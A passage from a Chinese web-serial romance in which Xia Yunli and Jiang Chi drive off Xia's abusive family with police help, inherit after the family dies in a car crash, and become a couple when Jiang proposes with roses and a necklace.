夏云鲤完全愣住,盛饭的手一顿,“怎么这么问?” “你切到手了。”姜池指向她左手食指上的创可贴。小鱼是能闭眼睛切菜的大厨,会切到手只有一种解释,她已经走神到连肌肉记忆都跟着溜号。 “我……”夏云鲤张了张嘴,心中酸涩,她垂着眸,把盛满米饭的碗递过去,“先吃饭吧。” 由她讲述过去是一回事,让姜池亲眼看到自己的家人烂得多具体,是另一回事。 担忧在姜池的眼里划过,她抿了下唇,声音平和地说:“好,吃饭。” 她坐下,夹起一筷子豆芽放进嘴里,舌面骤然尝到一股强烈的酸味儿,宛若直接喝醋。 咀嚼的动作一停,这段时间,她的味蕾已经被小鱼养叼了,以前能面不改色咽下去的东西系,现在却反射般蹙了下眉。 姜池囫囵把嘴里的东西咽下,拿勺子喝了口汤。 好淡,好像没放盐。 再一抬头,夏云鲤心不在焉地用筷子扒饭干嚼,都没想着夹菜吃。 这下她是彻彻底底忧心起来。 “楼下门口有几个鬼鬼祟祟的人,看起来不太正经,你下楼的时候注意一点。”心上人不想提自己的烦恼,姜池也不能强迫,只好说点别的。 却不料话音刚落,夏云鲤的脸色瞬间难看至极,声音紧得像绷起的琴弦,“是两男一女吗?其中有个男的比较年轻,但非常胖。剩下两个看起来四五十岁。” 姜池点了下头,“你见过他们了?虽然我不太想以貌取人,但他们瞧起来……”她斟酌了一下,“不像好人。” 她看到小鱼的神情一下变得非常复杂,她的嘴唇失去血色,握住筷子的手背用力到青筋都绷起来, “……是我家里人找过来了。”夏云鲤轻轻吸了一口气,说出的每一个字都很轻,可同时却有种压迫沉重感。 “我爸我妈,我弟弟,不知道怎么找上门来的。”她像幽魂一样吐气,“下午装作快递员想诈我开门,被隔壁姐姐赶走了。” 姜池蓦地闭上了嘴。 这些就是小鱼的家人? 她知道小鱼从前的生活很不如意,却想象不出,他们竟然会是这样的人? 女的刻薄,男的凶狠和油腻,一双眼睛里全是算计和令人作呕的邪淫下作,烟味和酒味离很远都冲鼻子。 怎么瞧都是社会垃圾。 “他们是来找我要钱的。”夏云鲤说。 “那你……”姜池拧着眉,小心翼翼地问。 “我当然不会给!”夏云鲤大声道,她好像冲破了什么,噌地站了起来,好似一头暴怒的狮子来回踱步,试图守卫自己的领地,“我一毛钱一分钱都不会给他们,给这群畜生!” “这钱我宁愿扔了,我死了,也不会让他们听到半个响!我不会再让他们像狗一样使唤了!” “小鱼……”姜池心下一涩,看着她气愤又难受的模样,比自己受罪还揪心。 “你先冷静一下,我们一起想想办法,把问题解决掉。” 只要赶走这几个人,小鱼就会重新开心起来。 “有谁会知道你的地址吗?”姜池首先想到的就是这个问题。 她一直清冷的声音,此刻成了最好的冷静药剂,让夏云鲤从下午开始就被各种情绪冲击的大脑清醒不少。 她们都没心思吃饭,坐到沙发上,姜池给她端了杯冰糖水,里面加了薄荷叶。 夏云鲤喝了一口,顿觉提神醒脑。 “我和从前认识的人全都不联系了,除了梅子,但梅子不会告诉他们我现在的地址,她连家里人都没说。”夏云鲤捧着杯子,小口小口喝,尽力找回自己的思维,“最大的可能,就是工作微信。” “一直有人加我合作,品牌方会要地址寄东西过来。”她懊恼又后悔地咬住嘴唇,“我真不应该留详细地址的,太不小心了。” “这不是你的问题,不要自责,把坏人的错揽到自己身上。”姜池赶紧安抚道,怕小鱼沉浸到情绪里出不来,连忙继续说,“下次注意下就好了。” “原因找到了,接下来就要解决办法,涉及到父母子女的家庭纠纷,警察也不好管,假如他们的确是通过这种方式获得了你的地址,就意味着也知道了你的账号。” “闹大的话,会有舆论上的风险,影响你的事业。” 姜池沉思了一会儿,“我有了一个思路……” …… 小区楼下,几个人被晒得头昏脑涨,只得找了个阴凉地方窝着。 夏母从斜挎的大方皮包里拿出一瓶水递给丈夫,被后者一把推开,不耐道:“拿走,都什么时候了就只想着喝水,一会儿天都黑了,还不想办法赶紧把人抓出来。” “那我们再上去一趟?”夏母讪讪收回手。 “我上去,这死丫头片子不敢不听我的话。”一提到夏云鲤,她一下就尖锐起来,好像又有了十足的底气和自信。 旁边的夏子龙翻了个白眼,很是鄙夷的样子,“我跟你一起上去,爸你在下面守着。” 要不是惦记着钱,他才懒得动弹。 母子俩又坐电梯来到门口,好歹是记着刚刚的邻居,没敢大声喧闹,只是敲门,一声接着一声,催魂一样。 只是没敲两下,门一下打开了一条缝。 隔着防盗链,一位冷漠的短发女人看过来,“你们找谁?” 她漂亮又锋利,穿着干净体面,自带上位者的傲慢,眼神像一柄冰刀,刺穿夏子龙色眯眯的眼神,也让夏母不自在地搓了下手,嗓门低了两分,“我找夏盼南。” “你找错了。”姜池说着,就要把门关上。 “哎哎哎等等,没找错,就是这儿,她给我的地址就是这啊。”夏母急了,伸脚过去挡,被夹得叫唤一声。 “刚才她还在屋里说话呢,我们都听见了!” “你再胡乱说一句,我就叫物业了,这房里一直都是我一个人住,什么时候有第二个人了?”姜池冷声道,“把你的脚拿走,不然我就报警。” 夏子龙对动不动就报警的城里人烦得要死,一把将夏母推开,举着手机,“看到没有,给的就是这个地址,我找我姐姐,她说她住这儿,人在不在,你让我们进去看看不就知道了吗?” “我租的房子,凭什么让你们陌生人说进就进。”姜池厉声拒绝,忽然又转了话头,“不过你姐姐真说住这里?” “手机拿近点,我看不清。” 夏子龙眼见她松口,忙不迭把手机又送近一些。 突然,他手里一松,宝贝的苹果就换了主人。 姜池低下头,三下五除二把聊天记录删掉清空,把好友也删了,又点进视频软件,将他冒充工作人员和夏云鲤要合作微信的对话也删掉,清了个彻彻底底。 把东西都清完,又忍着恶心抽出一张纸把手机擦得干干净净,丢了出去。 她微微一笑,“你说什么证据,我怎么没看到?” 第56章 同她十指相扣 “死贱人,臭娘们!你找死是不是!” 夏子龙眼睁睁看着姜池把聊天记录上了个干净,当场暴跳如雷,对着防盗门咣咣一通踹,把门踹得震天响,连喊带骂,好像得了逛犬病。 屋内,姜池神色冷淡,夏云鲤从卧室走出来,冷冷看着这一幕,没有出声。 “真是你!好啊死丫头片子,自己偷偷跑了,还成名人了,赚那么多钱也不知道补贴家里,我真是白养了一个白眼狼!” 夏母一见她,瞬间就扑了上来,几乎要把脑袋钻进门缝里,伸出胳膊抓她。 “快点给我把门打开!我喊你没听到吗个懒货,穿那么风骚给谁看呢!” 母子两个推搡着,一起破口大骂。 薄薄的门板,此刻像是天堑,将危险隔在外面。夏云鲤走到姜池身边,神情渐渐复杂起来,甚至带着一丝不解。 “很奇怪,你不觉得吗?从血缘关系上,我和她是母女,从性别上,我们都是女性。但她好像特别恨我,还妒忌我。” 她用了很多年才明白,不是所有为人父母的,都会爱自己的孩子。 姜池轻轻握住她的手,紧扣着她干燥的掌心,一字一句道:“大概是你年轻漂亮又聪明可爱,事业有成,生活幸福快乐,她自己过得惨。” 好不合时宜的夸奖,却让夏云鲤唇边泛起一抹笑,连心头的荒诞感也冲淡了不少。 “分明造成她痛苦的源头是家里的两个男人……”夏云鲤有心想吐槽议论几句,可看到这两张无可救药的大脸,就失去了所有谈性。 撇嘴是她最后的回应。 “你能看出来她才四十多岁吗,感觉像六十,她儿子也是,好像肥猪成精,头发油得虱子踩上去都脚滑。”夏云鲤嫌恶地皱了下鼻子,“要不我们还是把门关上吧,口臭都把屋子给熏了。” 姜池心中的愤怒与怜惜,也被小鱼犀利的吐槽压下,到了差点被逗笑的地步。 “夏盼南,你个小贱人,无法无天了,竟然敢骂我!有种你滚出来!你给我把门打开!” 夏云鲤大约是品味出了一点看人气急败坏的乐趣,摇了摇头,“夏子龙,你是不是猪油蒙了脑袋,自己智商低,就以为我也和你一样?威胁的话我不会听,但你要是下跪磕两个头给我赔礼道歉,或许我会赏你几个钱呢?” “你生的死闺女敢骂我?”夏子龙本来就是个暴躁的人,一身怒气无处发泄,憋得他眼睛都红了。 视线扫过一圈,身边正好有个出气筒,上去就推了她一下。 谁料夏母脚下一滑,脑袋咣当磕在金属门框上,咚得一声,额头沁出几丝红,人也软软倒了下去。 他还以为夏母犯懒,伸手就要把人拽起来,突然,身后传来一声大喝:“干什么呢!” 回头,几个穿着制服的警察竟然从电梯里走了出来,正好看见这一幕。 “怎么回事?谁报的警?” “是我。”夏云鲤站出来,“有人私闯民宅,故意破坏。” “好啊!你还真敢报警,那就让警察评评理,这女的是我姐,亲的,我们千里迢迢来找她,她反倒不让我们进门,警察同志,总没有这种说法吧?” 一旁晕乎乎的夏母也被人扶了起来,捂着脑袋,也不忘说话:“是啊警察同志,我是她亲妈,哪有不让亲妈进门的,这世上还能有这么不孝顺的女儿吗,我都一天没吃饭了,她就狠心看我饿着啊!” “这死丫头,高中毕业了学也不上,听说是跟着一个男的跑了,害得我们全家都抬不起头,好不容易打听到她的消息,想带她回家,可她却不认我们。”夏母拿出不讲理的劲头来,干嚎道,“你瞧瞧她穿的衣服,太不像话了,不检点,我说她两句,她还和我顶嘴,我真是要被气死了啊!” “我们都是一家人,根本没有私闯民宅!” 夏子龙和夏母两人,你一言我一语,往夏云鲤身上泼着脏水,给她都听笑了。 几个警察也有点无语,这些关系暂且不论,屋内的女生穿着短袖连衣睡裙,长度在膝盖上方,从哪儿论都和暴露无关吧? “警察同志,我根本就不认识他们两个,中午的时候,他们就来过,伪装成快递员想骗我开门,邻居可以作证,我这里还有监控,如果他们和我有亲戚关系,为什么不直接表明身份,反倒要骗我呢?”夏云鲤并不慌乱,她早就和姜池对好了说辞,按照原定计划吐字清晰地辩解。 姜池捏了捏她的手掌,目光平静中隐含鼓励,就像定海神针一样给人可靠稳重的感觉。 她随声附和道:“是的,这二人傍晚还在小区楼下停留,监控应该拍到了他们,我怀疑,他们是故意蹲点,可能不知道从哪儿知道我室友白天经常一个人,想要绑架她。” “你放屁!”夏子龙跳脚,“她是我亲姐姐,亲生的,叫夏盼南,是她给我发地址让我们过来的!” “警察同志,这是中午的监控录像。”夏云鲤把手机递过去,她心里有些紧张,心跳得很快,可源源不断的勇气从交握的掌心传来。 恨意和果决化作柴鑫,让她的肾上腺素急速飙升,发挥了前半生最精湛的演技,像是一个彻底的无辜受害者,茫然无措,却又镇定地说:“多亏有好心邻居帮忙,他们才没有得逞。” 监控只有画面没有声音,能看到夏子龙暴躁踹门的画面,他一个人叫门,另外两位躲起来的行为十分可疑,既然是见亲生女儿,还是对方主动联系,为什么要鬼鬼祟祟的藏起来? 几位警察对视,心中有了自己的判断。 “而且最重要的是,这是我的身份证,我不叫夏盼南。”夏云鲤深吸一口气,将证据拿出来。 “他们根本不是这个小区的住户,不知道如何闯进来的,恐怕连地址也记不清。”姜池又添了最后一把火。 “你说是这位女士给你的地址,有证据吗?”警察反问夏子龙,想听听他的说法。 哪儿来的证据,全让姜池给删了! 警察见这两人支支吾吾的样子,还有什么不明白的。 一边是整洁干净的年轻女生,说话条理清晰,又有证明,一边是有暴力倾向的恶臭肥宅和胡搅蛮缠的妇人,天平的倾斜没有悬念。 何况门上还有他们踹的鞋印呢。 “你们两个,涉嫌私闯民宅,扰乱治安,跟我们走一趟吧。” 夏云鲤看到那母子两人不可置信大呼小叫被带走的样子,心中的快意霎时间达到顶峰。 她已经不是曾经那个只能逃避的小女孩了,过去的阴霾缓缓散去,夏云鲤忽然笑起来,笑出声,断断续续,眼角一片晶莹。 “小鱼,你做得非常好。”姜池用这辈子都没有过的柔和声音说。 “如果不是有你帮忙,我真的……” “没有我,只靠你自己,你也从那个家里走出来了,不是吗?”姜池张开双臂,轻轻抱了她一下,“你就是这样不服输不妥协的人。” 这是一个物理意义上并不宽阔的肩膀,可夏云鲤将头枕在上面,嗅着衣物上相同的薰衣草香,却拥有了彻底的安心宁静。 “好了,时间紧迫,我们先走吧。”姜池拍了拍她的背,尽管她很喜欢拥抱和被信任的感觉,但也知道,现在不是耽误的时候。 这个地址被夏家人知道,已经不安全了。 报警把他们赶走只是权宜之计,夏云鲤改过名字,在警局系统一查就知道了。 “好。”夏云鲤快速眨掉眼角的水光,把卧室的早就准备好的行李箱拖出来,两人一起下了电梯,打算先去酒店住一段时间。 意料之中的,楼下的人已经不见了。 从家里搬出去只是暂时的,姜池有认识的律师朋友,正在咨询具体事宜。 真正见到了小鱼的父母,她才彻底明白,之前那段自己摸不着头脑的“争吵”,最根本的原因是什么。 面对这种长辈,妥协是送命,拒绝才是正确。不是小鱼反应过度,是她太蠢了,踩在雷点上蹦迪。 以后再也不会了。 她们驱车前往学校附近的酒店,而夏家三口人的状况却不太好。 警察刚下楼,就见到了正在吸烟的夏父,后者见到他们一星人走过来,不知道是慌还是什么,竟然把烟头直接扔进了灌木丛里。 当场喜提五百罚款。 到了警局,因为没造成什么实际伤害,不能拘留,但罚款和口头批评教育是少不了的。 出警的警长正好在带刚入职的新人,给她们树立榜样,同样也是看不惯这几人的德行,她眉眼锋利,对着他们足足训了一个点,说的话都不重样。 训得三人灰头土脸,走的时候交了两千的罚款,像被扒了一层皮似的。 出了警局大门,天已经黑透了。 夏父丢了好大的面子,脸色阴沉得宛若臭水沟,对着夏母就是一巴掌,“你养的好闺女!” 夏母的脑袋还昏沉着,额头上的血痂还在,却没有一个人关心她两句。 没有留力气的一巴掌,让她的嘴角高高肿了起来,捂着脸呜呜哭。 夏子龙烦躁道:“现在的重点是要钱!” 他原地转了两圈,一脚踩在花坛山,啐了一口,恶狠狠道:“她不是大博主,名人吗,找个人营销号曝光她!我看她以后怎么混下去!” …… 姜池对着酒店前台出示二维码,顺手把身份证放在台面上,面上闪过一丝不自在。 虽然为了不刻意,定的是双床房,可同住酒店这件事,本身就足以让人遐想 不过她心中短暂泛起的涟漪,在触及到身旁人的面色之时,很快就平复了下去。 “要不要吃披萨?”姜池忽地开口,“或者炸鸡汉堡?” 小鱼还没吃晚饭,快餐食品尽管不够健康,但给人的愉悦度却是排在顶峰的。 “我没什么胃口……”今天发生的事跌宕起伏,一时的胜利固然让夏云鲤感到喜悦,可不代表她能完全放下心来。 可电梯厢壁映出的失落担忧的面孔,还是让她不由得改了说辞,“吃一点也可以,你看着点吧。” 那就披萨汉堡可乐薯条都点,再来一个玉米杯、虾球和水果捞, 每样吃几口也能饱了。 夏云鲤今天睡得很晚,差不多快三四点钟才睡着,却因为心里想着事,做了一晚上的梦,第二天顶着黑眼圈被强大的生物钟叫醒。 只比平时晚起了半个多小时。 她打着哈欠,却看到手机了多了好些个未接来电,正疑惑着,新的电话再度打了进来。 “喂?” 她接起,表情渐渐空白。 姜池比她醒得早,已经洗漱完了,打算掐着最后的时间去上班,看到小鱼的模样,察觉到有些不对。 等人挂断电话,她问道:“怎么了?是谁的电话?” “警察。”夏云鲤恍惚着,仿佛要升天了,“她们说,我爸妈他们,出车祸住院了,三个人都是。” “什么?”姜池也茫然起来,怎么就出车祸了,她都不知道说什么了。 姜池请了假,和夏云鲤一起来到医院,联系她们的小警察刚巧是昨天在家门口见过的,看到夏云鲤过来,就低声说了经过。 原来是路人报案,说在早餐店门口发生了一起连环车祸,有一辆卡车司机酒驾,撞到了前面的轿车,直接把轿车撞飞出去,好巧不巧,撞到了闯红灯的三个人身上。 卡车受到缓冲,被路灯卡住,轿车是纯粹的倒霉,好在人没有出事,只是受了点轻伤,最严重的就是夏家三口,全进了急救室,能不能救回来还不一定。 警方已经查到了夏云鲤是他们的女儿,找到了联系方式,所以才把电话打了过来。 卡车司机也在急救室,不过他的伤反而没有那么严重。 走廊内很是拥挤,卡车司机的家属赶过来,面色青灰,轿车司机的家属也在,担忧中带着愤怒,只有夏云鲤是木愣愣的。 她看向姜池,姜池拍了下她的手背,握住她的手,轻轻的,一点一点,同她十指相扣。 医生很快出来,反倒是一件坏事。 白大褂沉声说:“哪位是车祸路人的家属?” 夏云鲤走上前去,对上一双沉静中带着怜悯的双眼,“请节哀。”他说,“三个人都抢救无效,去世了。” 夏云鲤的五官绷着,像被胶水黏住,所有人都以为她是太过痛苦,一时间自我封闭了情感。 医生拍了拍她的肩,叹了口气。 一旁的轿车司机和家属也走过了过来,年轻人胳膊打着石膏,妇人充满关怀和同情地望着她,“这件事……我们也有一定的责任,请务必收下我们的赔偿。” 她从精致的手包里拿出一沓支票,在上面写下一串数字,“我知道再多的金钱也无法拯救失去的事物,可它多少能让生活不那么难熬,请收下吧。” 夏云鲤还是绷着一张脸,犹豫片刻,把支票放进衣兜里。 “好孩子,这是我的电话,如果有困难了,就打给我。” 妇人又递给她一张名片,带着自己孩子离开了,一位大概是助理模样的人跟在她身后,打着电话,隐约听到一些律师之类的字样。 医院有合作的殡葬行业,相关人员找到夏云鲤,介绍着自己家的业务,她选了火化一条龙,骨灰盒要了最便宜的。 姜池找的律师朋友又给她介绍了遗产和保险获赔相关的专业同事,表示夏家留下的房产和各种资金,还有保险受益人都是她。 夏云鲤走出医院,抬头看天,感觉天都在转,事情怎么可以如此梦幻。 “不知道为什么。”她喃喃道,“我有点想笑。” 姜池想了想,“是喜丧,笑吧。” 第57章 舍不得你 车祸的事过了一段时间,夏云鲤仍旧觉得不可思议。 就好像前半生历经的苦难,积攒下来的运气在一瞬间爆发出来,让她没了所有的烦忧。 她去了老家一趟,只待了一天,把房子交付给村长帮忙卖掉,家里的地也租出去,没和谁寒暄,只去河边挖了一兜野菜处理好后,带回了阳城。 下车和上车,都有人看她,纳闷她的身份,好奇她是谁。夏云鲤认识对方,却没和她们说话。 她再也不是曾经那个干巴瘦的埋汰小孩,和过去的一切,也没什么好留恋的了。 虽然不想这么说,但托车祸的福,一直被吸血的自己,竟也有反过来接受福利的时候,她手里有了一笔巨款。 可以考虑买房的问题了。 租房总有一种漂浮感,就像自己没有固定的居所,没有一个真正能称之为家的地方。 她手里资金充足,能考虑的范围就广了很多,地段好的精装新房和二手房都可以看看。 只是,要是买房搬家,和姜池就要分开了。 夏云鲤虽然有了想法,考虑到姜池,和那点说不清道不明的小心思,迟迟没能开口。 这天,她和中介又去看了一栋二手房,两居室,装修很素净,挨着商场,价格也合适。 凭心而论,这几天她看的房子都不错,没什么大缺点也没有小毛病,可夏云鲤就是提不起兴致。 给中介道了谢,辛苦她又白跑一趟,夏云鲤送给对方一盒马卡龙,心底有些烦躁地上楼。 拿钥匙打开家门,却发现今天说了加班的姜池竟然就在沙发上坐着,不知怎么,她忽然感觉一阵心虚,把头低了下去。 “你怎么回来了?”话一出口,她赶紧又咳嗽两声,“那什么,我现在就去做饭,等我一会儿哦。” “好。”姜池说,和平时一样,“我不饿,不用着急。” 夏云鲤对她扯出一抹笑,快步走进厨房带好围裙,开始洗手切菜。 通常姜池加班不吃晚饭,她本来想叫个外卖对付一顿得,肉没有解冻,就简单炒两个素菜好了。 她心里想着事儿,手下速度却也没慢多少。 刷刷几下,两颗土豆就削完了皮,被放在案板上切成片,顺着一码,排成长排,她便开始切丝。 流利的刀功几乎要舞出残影,笃笃笃的声音连绵成串,不知道的还以为在胡乱剁馅。 “你是想买房吗?” 姜池突然来了一句,惊得夏云鲤手下一歪,锋利的刀刃瞬间割入指尖,十指连心,刺痛让她反射惊叫。 她这个大厨,少有的几次失手,都拜姜池所赐。 指尖的痛还在其次,姜池的话才是让她心慌紧张的罪魁祸首。 “啊,什么?”她打着哈哈,“你怎么会这么问?” 问话的人却没答,大步走到厨房,抓着她的手去冲水,看着超过一厘米的伤口深深皱眉。 “对不起。”姜池开口,“我不该和你说话,让你分心。” “没有啦,做菜的人谁没被刀切过,小伤小伤。”夏云鲤咬了咬舌尖,“也是我自己不小心。” 姜池的手一向冰凉如玉,可比起自来水的冷,连她的掌心也衬得温暖起来。 这种小伤口,夏云鲤都不在乎,随便扯个创可贴就得了。 姜池却如临大敌,又是冲水,又是用厨房纸包着按压,最后还拿出医药箱涂了碘伏,这才给手指头包起来。 她原谅和分锅的话并没能让姜池放下愧疚,后者拧着的眉头没有松开的意思,“别做饭了,我叫外卖。” “都行,听你的。”夏云鲤清了清嗓,跟着看了几家店铺后,故作随意地问,“你为什么突然说起房子的事儿了?” “垃圾桶里有售楼的宣传单。”姜池握着手机的指尖动了动。语气仍旧平稳,“你是想买房吗?” 几天前她就看到了一张,昨天又有。她接传单从来不会带回家里,走到没人的地方就扔掉。小鱼平时没有接传单的习惯,除非,这是她专门带回来的。 一次是巧合,两次不是。 “是……有这个打算来着。”夏云鲤都不知道自己在为什么心虚,可面对姜池的询问,她总有种抬不起头的感觉,仿佛做了什么错事。 “买房也好,一直租房还是不方便。”姜池说,“你有看好的地方吗?” “还没,看了几个,都不太喜欢。”夏云鲤忍着别扭说,“也不着急啦,这个房还能租几个月,合同才到期呢。” “这样。”姜池半垂着眼眸,睫毛掩住眼底的的情绪,“你有什么偏好吗?我也可以帮你挑挑。” “附近有商场,交通方便一点就行,我好像也应该买个车,考个驾照,毕竟现在不用担心钱的问题了。” “我认识一个驾校的老师,她人还不错,可以推给你。”姜池说,声音淡淡的,好像没什么情绪,“房子我也会帮你留意下,比如宽城这种老城区翻新的就没必要看了。” 夏云鲤听着她有条理地安排和建议,心里的沉闷感更上了一层。 好歹也一起住了几个月,怎么也算得上是朋友,她都要搬走了,这人连一句舍不得的话都没有吗? “好啊好啊,有你这个本地人帮忙真是太好了。” 她勉强挤出一点笑脸来,“我……先回房换件衣服,外卖到了喊我哦。” 一转身,这点稀薄笑意便垮下来,夏云鲤鼻头一酸,卧室门刚关上,两滴眼泪就吧嗒掉在地上。 她赶紧用手背蹭掉,拼命地眨眼睛,把泪水憋回去。 看来她的喜欢真是自作多情,这样也好……大家萍水相逢,好聚好散,这几个月也挺高兴的。 心里是这样想,嘴角却没翘起来。 接下来的几天,她有意识地逐渐减少和姜池的互动,这次是真的试图一点点拔除掉对方在自己心里的位置和习惯。 用的借口也很好——背科目一的考题。 她脑袋笨,背得慢,要专心致志,也是可以理解的。 姜池察觉到了这样的变化,心里的焦躁愈发严重,破釜沉舟的想法同样蠢蠢欲动,一天比一天烧得更旺。 “我找到了一个不错的房子。”晚餐的时候,姜池自然地说,“是学校一位退休教授的房,本来是给女儿买的婚房,但是女儿在首都定居,把她也给接了过去,她就想把这个房子卖掉。” “非常好的联排小别墅,没住过几次,价格也不贵,只要三百多万,还带一块前庭花园,隐私性和安保都很好,明天要不要去看看?就在华清园。” “华清园的别墅,才三百多万,怎么可能……啊!”夏云鲤惊讶到一半,恍然大悟,“是给你的友情价吧,对不对?” 姜池才不会把自己功劳向外推,却也没直白点头,只是说:“教授比较喜欢我。” 这要是买下来,人情岂不是欠大了?可姜池专门问的,她总得去看一眼,夏云鲤犹豫了片刻,便点头同意下来。 第二天傍晚,她就来到了农大的校门口,和下班的姜池一起出发去了华清园。 老教授已经在别墅里等着了。 这是一位看起来很和蔼的老人,头发花白,戴着眼镜,身量微丰,笑眯眯的,就像邻家奶奶似的。 “小姜来了啊,哎,这位就是小夏吧,真好,一看就有福气。”老教授笑呵呵地拍了拍两人的肩膀,“走走,我带你俩逛一圈。” “楼下这是客厅,这边是厨房,储藏室,这有一个卧室,一个卫生间,还有一个会客室,楼上有书房,衣帽间,画室……” 她领着两人在别墅里走了一遍,把所有房间都看过了,末了说道:“这里的家具都随屋赠送,也花了大几十万,用的都是好牌子。装修完就一直闲置着,一年都住不上一回,和全新的也没什么区别了。” 夏云鲤本来只是看看,但逛了一圈后,她实在不能违心地说房子不好,价格过分实惠,装修也过分漂亮,完全是她喜欢的暖色调温馨风格,前庭的小花园铺满了草坪,木制的棚,甚至还有一架秋千,屋后也送一小块地,用来种点什么再好不过。 这简直就是梦中情房。 这里离学校很近。 离姜池也很近。 可一旦签订合同,就意味着她要搬家了。 夏云鲤心烦意乱着,却听见老教授和姜池说,“房子交给你我也放心,我那屋装修老气,年轻人可能不喜欢,你想换就换,别的无所谓,但是换掉的字画得给我寄回来,那可是徐老的墨宝,别人我才不给。” 字画? 这屋里没有字画啊? 她又扫了一圈,确定没看到一张字画,倒是有几副色调清新风景油画,农大的教授,总不能口误。而这间别墅,和老气也实在搭不上边。 夏云鲤纳闷起来。 姜池却一口应下,“请放心,我一定会好好保管的。” 回去的路上,她想了一道也没想通,索性问了出来,“你刚刚和老教授说什么字画,我怎么没见到?” “在隔壁。”姜池望了她一眼,眼底仿佛有一道光迅速游过,“如果你买这栋,我就买隔壁那栋。” 她握着方向盘的指尖紧到泛白,“小鱼,我不想和你分开……太远。” 灯光在她的脸上明灭,仿佛闪烁不定的心跳。 夏云鲤霎时间无言,心底猛然再度升起一股躁动,和下午的那种不同,和这些天的都不同。 是好的那种。 什么意思,她说这话是什么意思? “怎么啦?”她哈哈两声,却没发现自己的声音比平时要紧,颤得像抖动的琴弦,“舍不得我做的饭吗?” “舍不得你。” 【END】 第58章 已经红透的脸还能更红吗 好朋友不想分开很正常,好朋友不想分开很正常,好朋友不想分开很正常!!! 重要的事要说三遍。 自己以前不也想着永远不结婚不谈恋爱,就和闺蜜住大别墅一起生活吗?这是感情深的表现。 夏云鲤把脸狠狠埋在被子里,滚了好几圈也没能压下面颊上的热度。 她抬手用手背挨上滚烫的皮肤,拉长音哀嚎一声。 说了好几遍要对姜池死心,怎么没人告诉她,这件事比学数学还难? 心没死成,反而更活泛了。 她恹恹地翻了个身,大字型躺在床上,想唾弃自己,又实在懒得。 第二天,她们就签了合同,各种手续办完,三天后,夏云鲤拿着新到手的房产证,指腹反复摩挲着上面自己的名字,有种漂浮已久的心,终于有实处可以落地的安全感。 她有家了。 一个完完整整属于她自己的家。 再也不用担心会被人赶出去,只有她赶别人的份。 和原来的房东说好,搬去新家的当天,两个人都气喘吁吁,相邻的客厅摆满了各种箱子。 姜池却找到她,眼神明亮,“明天休息,东西不着急收拾,要不要出去吃个饭,好好庆祝一下?最近不是正好上了异形系列的新电影吗,我们可以一起去影院看,你觉得怎么样?” “好呀!等我十分钟,我换套衣服就来!”夏云鲤噔噔噔跑上楼,扒开装衣服的箱子,从里面翻出一条牛仔背带裤和浅黄色的短袖套上。 镜中的人天生丽质,娇俏可爱,搬箱子的运动让她双颊泛红,更添一份好气色,连口红都不用涂了。 她之前在姜池面前太过放松,好像什么形象都见过了,化不化妆也没关系。 但夏云鲤犹豫了几秒,还是快速洗了把脸,涂了一层隔离,再点了几下高光,顺手把唇釉和头绳塞进背带裤的口袋里。 这不是化妆,她暗自嘀咕,这是对庆祝新家活动的尊重。 上了车,她开始给头发编辫子。 入秋的天气,阳城仍旧很热,她的头发太多,在家才会披散着,因为有空调,出门还是习惯梳起来,不然太热。 等她把两边辫子都弄好,才发觉目的地不是常去的商场。 “咱们要去哪儿呀?”夏云鲤看了一眼导航。 “有一家私房菜馆很好吃,我忽然想起来,还没带你去过。”姜池不紧不慢地说。 她的语气平淡如常,目光冷静,任谁也瞧不出来后车厢里摆了一车的玫瑰花。 夏云鲤倒是闻到了,她鼻子太灵,想闻不到都难。 但姜池早有对策,把车内的香薰换成了镂空玫瑰花的金瓶,不用出声就能答疑解惑。 它看起来像花香味儿的原因,其实就是一个装了一点水的瓶子而已。 到了私房菜馆,姜池点了几道菜,又把菜单递给夏云鲤,都点完单后,她低声道:“我去一趟卫生间。” 夏云鲤嗯嗯两声,“去吧去吧。”就接着低头玩起手机来。 姜池出门,找到服务员,托她帮个小忙,又把提前包好的红包递过去。 包厢内,夏云鲤开了几局消消乐小游戏,打得专心致志,玩着玩着,忽然发觉哪里不对。 姜池好像走了很长时间了。 去卫生间需要这样久吗? 正疑惑间,包厢的门被敲了几下,外面传来服务员的声音,“您好,来上菜了。” 夏云鲤放下手机,颇为期待地看过去,搬了半天家,又坐了好久的车,她是真饿了。 下一秒,门被打开,进来的不是服务员,而是姜池。 推着一车玫瑰花。 白色如新娘的头纱,蓝色如澄净的天穹,粉色如少女的面颊,淡淡的紫像晚霞晕开的光,浅绿的叶是枝头新芽。 夏云鲤完全惊呆了,手机咣当掉在地上,她都没分心看上一眼。 “姜、姜池?”她声音颤抖得像触电,“你你你你你……” “我喜欢你。”姜池拿起花束上的红色锦盒,吧嗒一下打开,露出里面的铂金项链。 她单膝跪地,一双黑色眼瞳眨也不眨,深深凝望着夏云鲤,“我可以成为你的女朋友吗?” 夏云鲤瞬间捂住自己的嘴巴,可还有半声惊叫露在外面,暴露出她激动的心情。 “你、你……” 她的胸膛剧烈起伏着,绯红从双颊蔓延至耳廓,眼睛睁得溜圆,简直要晕过去。 “怎么回事啊!你喜欢我?”夏云鲤拼命眨着眼睛,大脑都要成浆糊了,“真的假的,啊啊啊啊,我是不是在做梦啊,救命救命!” “我喜欢你。”姜池说,“不是做梦。” “等等我是不是还没回答呢?我答应我答应!”夏云鲤激动地直跺脚,才反应过来姜池还跪着,赶紧伸手一把将人拽起来。 谁料没控制好力气,直接把姜池拉进怀里,一张脸再度埋到胸口。 馨香满怀。 姜池也彻底压制不住内心的羞意,整张脸刹那间红透,比夏云鲤还严重。 “姜姜!我也喜欢你!”夏云鲤像是彻底打开了话匣子,抱着人不松手,像只兴奋的松鼠嘀嘀咕咕,“我喜欢你好长时间了,具体什么时候不清楚,等发现的时候已经来不及,你知道嘛,我要搬家的时候也超级舍不得,怕离你太近会一直想你,又怕离你太远也会一直想你,还好你也喜欢我,真好真好,好高兴!” 她说话时兴奋得扭来扭去,姜池却抬不起来脸,被迫亲密接触了好久,等她松手,姜池都要窒息了。 不知道是憋气憋的,还是羞耻太浓,她那张一直维持的冷淡面孔终究碎掉,指尖哆嗦着扶正眼镜框,体温高到仿佛在冒气。 “这是,这是给你的礼物。” 做了好几个深呼吸,姜池勉强找回理智,把项链从盒里拿出来。 那是一条鲤鱼,但鱼鳍格外宽大,仿佛翅膀,鱼尾摆动,如同翱翔。 铂金的项链,末端刻着夏云鲤名字的缩写,也凝聚了姜池的期盼与爱。 夏云鲤给自己改名的时候就在想,她想要做一条鱼,一条游在天空里的鱼,云彩是她甩起的浪花,她可以游向任何想去的地方。 也许,她已经找到了自己想要的。 “你帮我戴上嘛。”她软着声请求,胳膊却抱得很紧,不让姜池从自己腿上下去。 